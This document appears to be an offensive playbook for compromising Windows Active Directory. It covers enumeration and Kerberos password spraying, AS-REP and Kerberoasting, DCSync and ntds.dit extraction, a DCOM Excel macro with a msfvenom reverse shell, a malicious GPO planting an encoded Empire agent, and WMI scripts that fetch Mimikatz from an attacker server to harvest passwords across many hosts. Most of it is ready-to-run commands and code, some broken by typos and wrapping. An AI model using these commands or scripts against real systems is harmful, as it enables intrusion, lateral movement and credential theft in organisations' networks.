Enumeration

Enumeration with PowerView.ps1

Enumerating logged in users in the current workstation and the domain controller.

Use powerview script from powersploit and import it to powershell
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

Get current logged-in users on the currently compromised workstation

```
<PS C:\Tools\active_directory> Get-NetLoggedon -ComputerName client251>
```

Get current active sessions on the domain controller

```
<PS C:\Tools\active_directory> Get-NetSession -ComputerName dc01>
```

Metasploit and powerspolit Active Directory"

```
load powershell
powershell_import /root/Desktop/PowerView.ps1
powershell_execute Get-NetDomain
```

Enumerating Local Admins

```
Powershell_execute Invoke-EnumerateLocalAdmin
```

Enumerating all hosts and domain controllers

```
powershell_import /root/Desktop/HostEnum.ps1
powershell_shell Invoke-HostEnum -Local -Domain
```

Host Recon

```
powershell_import /root/Desktop/HostRecon.ps1
powershell_execute Invoke-HostRecon
```

Enumerating and interacting with RPC clients

Usually run on port 111

Logging in

```
root@kali:Rpcclient [ip-or dns name] -U ‘username’
```

Logging in with hash

```
root@kali:Rpcclient --pw-nt-hash -U [username] [ip-or-domain]
```

Querying and displaying info after logging in

```
rpcclient $>querydispinfo
```

Display users

```
rpcclient $> enumdomusers
```

Display privileges

```
rpcclient $> enumprivs
```

Display Printers

```
rpcclient $> enumprinters
```

Enumerating and interacting with MSRPC TCP 135

Listing Current RCP mappings and interfaces [requires impacket]

```
root@kali:python rpcmap.py 'ncacn_ip_tcp:10.10.10.213'
```

Identifying hosts and other endpoints

```
root@kali:python IOXIDResolver.py -t 10.10.10.21
```

Finding if its vulnerable to PrintNightMare or print spooler service vulnerability CVE-2021-1675 / CVE-2021-34527

```
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
```

rpcdump.py is part of impacket tools.

Powershell Script for user enumeration

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
```

```
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Searcher.FindAll()
```

Enumerating specific user accounts

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="name=[account-name]"
$Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
```

```
Write-Host "-------------------------"
}
```

Enumerating Groups

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
Enumerating specific group and its members
$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
```

```
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=[group-name])"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
```

Enumerating service principal names to figure out the running services on the domain controller. In the example below, we enumerate for ‘http’.

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.Domain]::GetCu
rrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
```

```
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher([ADSI]$Search
String)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
```

Enumerating usernames and Tickets on Kereberos

```
<root@kali:./kerbrute_linux_amd64 userenum -d
pentesting.local -dc [ip] [path-to-usernames-wordlist]>
```

Check if a user among users in Active directory has a specified password in the

input [Password Spray]

```
<root@kali:./kerbrute_linux_amd64 passwordspray -v -d
pentesting.local -dc [ip] [users-list.txt] [the
password]>
```

#or

```
<root@kali:python3 /usr/share/doc/python3-
impacket/examples/lookupsid.py anonymous@10.10.171.0 |
tee usernames>
```

Getting password hashes and TGTs for identified users in the previous Kerebros enumeration [ASREP ROASTING]

```
<root@kali:python3 GetNPUsers.py -dc-ip [ip]
pentesting.local/ -usersfile [list-of-found-users-from-
command-above]>
```

Brute forcing usernames and passwords with Kereberos

```
<root@kali:python kerbrute.py -domain pentesting.local -
users users.txt -passwords passwords.txt -outputfile
passwords-found.txt>
```

[Keberosting using cracked credentials]

```
<root@kali:python3 /usr/share/doc/python3-
impacket/examples/GetUserSPNs.py -dc-ip 10.10.171.0
'vulnnet-rst.local/t-skid:tj072889*' -outputfile
kerberoasting_hashes.txt>
```

enumerating registry hives given a username and password hash

```
<root@kali: reg.py htb.local/henry.vinson@apt.htb  -
hashes
aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb
4a876cbffb query -keyName HKCU  -s>
```

Enumerating Powershell history

```
PS
C:\\Users\\henry.vinson\_adm\\AppData\\Roaming\\Microsof
t\\Windows\\PowerShell\\PSReadline>
```

Password cracking

Given ntds.dit and registery file system

```
<root@kali:python secretsdump.py -system registry/SYSTEM
-ntds Active\ Directory/ntds.dit LOCAL > backup_ad_dump
>
```

or

```
<root@kali:pythonsecretsdump.py -system registry/SYSTEM
-ntds Active\ Directory/ntds.dit -hashes lmhash:nthash
LOCAL -output hashes-output >
```

Brute forcing a user hash given a list of users and hashes by performing retrieving TGTs

Use the script below to iterate through the usernames and hashes.
getTGT.py is within impacket

```
#!/bin/bash
#Request the TGT with hash

for i in $(cat wordlists/valid.usernames)
do
        for j in $(cat wordlists/hashes.ntds)
        do
                echo trying $i:$j
                echo
                getTGT.py htb.local/$i \-hashes $j:$j
                echo
                sleep 5
        done
done
```

Exploitation

Exploiting Active Directory using DCOM with Macro-Enabled MS Excel

This exploitation technique requires admin privilege on the compromised workstation.
First we need to create an excel file with macro inside of it.
The content of the macro can be a cmd process like below

```
Sub mymacro()
Shell ("cmd.exe")
End Sub
```

Or it can be a Metasploit payload that we can create as the following:

```
<root@kali:~$msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.1.111 LPORT=4444 -f hta-psh -o macro.hta>
```

Next step is extracting a specific line that starts with powershell and ends with payload value. It looks like the following:

```
#"powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4AdABQ....."
```

Then we need to create a python script to split the payload lines in order to bypass the size limit on literal strings imposed

by excel.
The python script

```
str = "powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4AdABQ....."
n = 50
for i in range(0, len(str), n):
print "Str = Str + " + ' " ' + str[i:i+n] + ' " '
```

Then we paste the results in the excel macro and it will look like the following:

```
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e
aQBmACgAWwBJAG4Ad"
Str = Str +
"ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
...
Str = Str +
"EQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHM"
Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA="
Shell (Str)
End Sub
```

We save the excel file and prepare to transfer it over to the domain controller.
Then use the following powershell script to execute the attack while modifying the parameters according to your environment:

```
$com =
[activator]::CreateInstance([type]::GetTypeFromProgId("E
xcel.Application", "192
.168.1.110"))
$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"
$RemotePath = "\\192.168.1.110\c$\myexcel.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path =
"\\192.168.1.110\c$\Windows\sysWOW64\config\systemprofil
e\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
$com.Run("mymacro")
```

Before executing the powershell script, we need to establish a listener from the compromised workstation we are operating from.

```
<PS C:\Tools\practical_tools> nc.exe -lvnp 4444>
```

After executing this script, CMD process with SYSTEM privilege will be created on the domain controller.

```
PS C:\Tools\practical_tools> nc.exe -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.111] from (UNKNOWN)
[192.168.1.110] 59121
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
```

Performing DCSync Attack

This attack requires knowledge of some hashes to succeed

```
<root@kali: secretsdump.py htb.local/user@apt.htb \-
hashes
aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82fea
e86a7f798>
```

or

```
<root@kali:secretsdump.py -hashes
:d167c3238864b12f5f82feae86a7f798
'htb.local/APT$@htb.local'>
```

or

```
<root@kali:python3 /usr/share/doc/python3-
impacket/examples/secretsdump.py a-whitehat@10.10.171.0>
```

Exploiting SeBackupPrivilege

creating the diskshadow file

```
root@kali$ cat diskshadow.txt
set metadata C:\tmp\tmp.cabs
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% h:
```

uploading and executing the diskshadow file

```
*Evil-WinRM* PS C:\Users\xyan1d3> mkdir C:\tmp
*Evil-WinRM* PS C:\tmp> upload diskshadow.txt

*Evil-WinRM* PS C:\tmp> diskshadow.exe /s
c:\tmp\diskshadow.txt

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  HAVEN-DC,  7/16/2021 3:45:19 PM

-> set metadata C:\tmp\tmp.cabs
-> set context persistent nowriters
-> add volume c: alias someAlias
-> create
Alias someAlias for shadow ID {29b531e8-3c00-49f9-925d-
5e1e3937af13} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {2c73aeea-cdb0-
47d5-85f8-dfe4dfbdbea6} set as environment variable.

Querying all shadow copies with the shadow copy set ID
{2c73aeea-cdb0-47d5-85f8-dfe4dfbdbea6}

        * Shadow copy ID = {29b531e8-3c00-49f9-925d-
5e1e3937af13}                %someAlias%
                - Shadow copy set: {2c73aeea-cdb0-47d5-
85f8-dfe4dfbdbea6}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?
```

```
\Volume{115c1f55-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 7/16/2021 3:45:20 PM
                - Shadow copy device name: \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: HAVEN-
DC.raz0rblack.thm
                - Service machine: HAVEN-
DC.raz0rblack.thm
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-
51abd60b20d5}
                - Attributes:  No_Auto_Release
Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %someAlias% h:
-> %someAlias% = {29b531e8-3c00-49f9-925d-5e1e3937af13}
The shadow copy was successfully exposed as h:\.
```

Uploading the DLLs to the target machine

```
root@kali$ wget
https://github.com/giuliano108/SeBackupPrivilege/raw/mas
ter/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilege
Utils.dll

root@kali$ wget
https://github.com/giuliano108/SeBackupPrivilege/raw/mas
ter/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilege
CmdLets.dll
```

abusing the backup privilege by creating a backup copy of the hashes database

```
*Evil-WinRM* PS C:\tmp> upload
SeBackupPrivilegeUtils.dll

*Evil-WinRM* PS C:\tmp> upload
SeBackupPrivilegeCmdLets.dll

*Evil-WinRM* PS C:\tmp> import-module
.\SeBackupPrivilegeUtils.dll

*Evil-WinRM* PS C:\tmp> import-module
.\SeBackupPrivilegeCmdLets.dll

*Evil-WinRM* PS C:\tmp> copy-filesebackupprivilege
h:\windows\ntds\ntds.dit C:\tmp\ntds.dit -overwrite

*Evil-WinRM* PS C:\tmp> reg save HKLM\SYSTEM
C:\tmp\system

*Evil-WinRM* PS C:\tmp> download ntds.dit

*Evil-WinRM* PS C:\tmp> download system
```

Exploitation GenericWrite privileges with Blood Hound

Installation and configs

```
wget -O - https://debian.neo4j.com/neotechnology.gpg.key
| sudo apt-key add -

echo 'deb https://debian.neo4j.com stable 4.0' >
/etc/apt/sources.list.d/neo4j.list

sudo apt-get update

apt-get install apt-transport-https

sudo apt-get install neo4j

systemctl stop neo4j

sudo /usr/bin/neo4j console


./BloodHound.bin --no-sandbox
```

Execute sharphound.exe on the target machine to generate the zip file which you will transfer to your machine and upload to the GUI

Sharphound can be found by cloning the below repo
https://github.com/BloodHoundAD/BloodHound

```
.\sharphound.exe
```

Transfer SharpGPOAbuse and execute

https://github.com/byronkg/SharpGPOAbuse

```
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug"
--Author vulnnet\administrator --Command "cmd.exe" --
Arguments "/c net localgroup administrators enterprise-
security /add" --GPOName "GPNAME"

GPNAME: the group policy name to grants access or
generic access to the user
```

Post exploitation

Post exploitation with Metasploit to a domain-joined machine

On Meterpreter

```
use incognito
list_tokens -u
```

the previous command lists all the current tokens of those who logged in before to the machine. The goal is to find a token belonged to the admin of domain controller.
Once we impersonate the admin token on the domain controller, we need to establish a new session with powershell for complete access.
For this we need the hostname of the current domain

controller. We type in meterpreter ‘shell’ to convert to ‘shell’ on the windows

```
<C:\Windows\system32>nslookup>
<set type=all
< _ldap._tcp.dc._msdcs.sandbox.local
```

This will result in the hostname of the domain controller
Establishing new session

```
<dsesh = New-PSSession -Computer SANDBOXDC>
<Invoke-Command -Session $dcsesh -ScriptBlock
{ipconfig}>
```

Then we transfer a malicious executable created with #shelter to the domain controller

```
Copy-Item "C:\Users\Public\chrome.exe" -Destination
"C:\Users\Public\" -ToSession $dcsesh
```

In the above case, the malicious file was binded to chrome.exe
Then we execute it

```
Invoke-Command -Session $dcsesh -ScriptBlock
{C:\Users\Public\chrome.exe}
```

And we will receive the reverse connection in our listener.

```
<impersonate_token pentesting.local\\Administrator>
```

Harvesting passwords by viewing the unattend.xml file and sysprep.xml – sysprep.inf

```
From Powershell, Execute
<PS C:\Get-Content "c:\windows\panther\unattend.xml" |
Select-String "Password" -Context 2>
```

Harvesting passwords by looking through common file extensions that store passwords

```
<C:\findstr /si password *.xml *.ini *.txt *.config
*.bat>
```

Creating GPO policy to execute powershell reverse shell on a target pc within domain controller:

On any windows domain joined machine, execute the followings:
First, we activate and import the Group Policy modules in the PowerShell session available at 10.10.20.118:

```
Ps> Add-WindowsFeature GPMC
Ps> import-module group-policy
```

Then we create a fake GPO called Windows update (We target the domain controller FRSV210):

```
PS> New-GPo -name WindowsUpdate -domain SPH.corp -Server FRSV210.sph.corp
```

We only want to target Juliette's account on the computer FRPC066, so we restrict the scope of this GPO:

```
PS> Set-GPPermissions -Name "WindowsUpdate" -Replace -PermissionLevel GpoApply -TargetName "juliette" -TargetType user

PS> Set-GPPermissions -Name "WindowsUpdate" -Replace -PermissionLevel GpoApply -TargetName "FRPC066" -TargetType computer

PS> Set-GPPermissions -Name "WindowsUpdate" -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
```

Finally, we link it to the SPH domain to activate it:

```
PS> New-GPLink -Name WindowsUpdate -Domain sph.corp -Target "dc=sph,dc=corp" -order 1 -enforced yes
```

We go ack to the Empire framework on the Front Gun server and generate a new reverse shell agent, base64 encoded this time in order to fit nicely in a registry key:

```
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8A
aQBuAHQATQBhAG4AQQBHAGUAUgBdADoAOgBFAHgAcABlAGMAdAAxADAA
MABDAE8AbgBUAEk
```

We then instruct the GPO we created to set up a ‘Run’ registry key the next time Juliette’s computer polls new settings.

This registry key will execute the PowerShell agent at Juliette’s next login:

```
PS> Set-GPRegistryValue -Name "WindowsUpdate" -key
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion\-ValueName MSstart -Type String -value
"powershell.exe
-NoP -sta -NonI -Enc WwBTAHk[…]"
```

Dumping certificates from target machine with powershell and mimikatz in memory:

on the target machine launch the following:

```
PS> $browser = New-Object System.Net.WebClient
PS> $browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials

PS>
IEX($browser.DownloadString("https://raw.githubuserconte
nt.Mimikatz.ps1"))

PS> invoke-mimikatz -DumpCerts
```

Infecting other domain joined machines using wmi method from powerview:

We generate our stager's code on the Front Gun server:

```
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVgBpAGMARQBQAG8A
aQBuAHQATQBhAG4AQQBHAGUAUgBdADoAOgBFAHgAcABlAGMAdAAxADAA
MABDAE8AbgBUAEk
```

We then include it in a WMI remote call from the 10.10.20.118 machine:

```
PS> invoke-wmimethod -ComputerName FRPC021
win32_process -name create -argumentlist
```

```
("powershell.exe -NoP -sta -NonI -W Hidden -Enc
WwBTAHkAUwB0AGUYA…")
```

Downloading and executing a powershell script in memory (Mimikatz.ps1) to harvest admin password on the targeted domain controller. This script is run directly from the target

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:
[port]/Invoke-Mimikatz.ps1"))
invoke-Mimikatz
```

Running the above script on multiple domain joined machines to harvest all passwords

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:
[port]/Invoke-Mimikatz.ps1"))

invoke-mimikatz -Computer FRSV27, FRSV210,FRSV229,
```

```
FRSV97 |out-file result.txt -Append
```

FRSV2010..are the targeted computer names which you can get by running nslookup on the corresponding IP

Save it as Mimikatz.ps1 and run it.

This script depends and relies on winrm (5985) to be enabled on the target you are running the script from, you can enable it with the following command:

Wmic /user:admin /password:password /node:[ip] process call create "powersell enable-PSRemoting -force"

Powershell script that Downloads Mimikatz and executes it on multiple defined machines using WMI. Use it if the above method failed

Scenario 1:
You have just compromised a domain-joined machine / domain-controller / regular work station and want to harvest the passwords / hashes of other domain-joined machines then you can use the below script to launch it from the host you have just compromised.

Scenario 2:
You have compromised a non domain-joined machine and want to download and execute mimikatz as stealthy as

possible then you can use the script below and stop at the green highlight.

```
$command = '$browser = New-ObjectSystem.Net.WebClient;
IEX($browser.DownloadString("http:// [your-server-ip]:
[port]/Invoke-Mimikatz.ps1"));
$machine_name = (get-netadapter | getnetipaddress | ?
addressfamily -eq "IPv4").ipaddress;invoke-mimikatz |
out-file c:\windows\temp\$machine_name".txt"'
$bytes =
[System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$PC_IP = @("[target-ip-1]", "[target-ip-2]")
ForEach ($X in $PC_IP) {
$proc = invoke-wmimethod -ComputerName $X
win32_process -name create -argumentlist ("powershell -
encodedcommand $encodedCommand")
$proc_id = $proc.processId
do {(Write-Host "[*] Waiting for mimi to finish on $X"),
(Start-Sleep -Seconds 2)} until ((Get-WMIobject -Class
Win32_process -Filter "ProcessId=$proc_id" -ComputerName
$X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq
$null)
move-item -path "\\$X\C$\windows\temp\$X.txt" -
Destination C:\users\Administrator\desktop\ -force
write-host "[+] Got file for $X" -foregroundcolor
"green"
}
```

write-host $encodedCommand [include this command if you are running this script for a single host and stop here].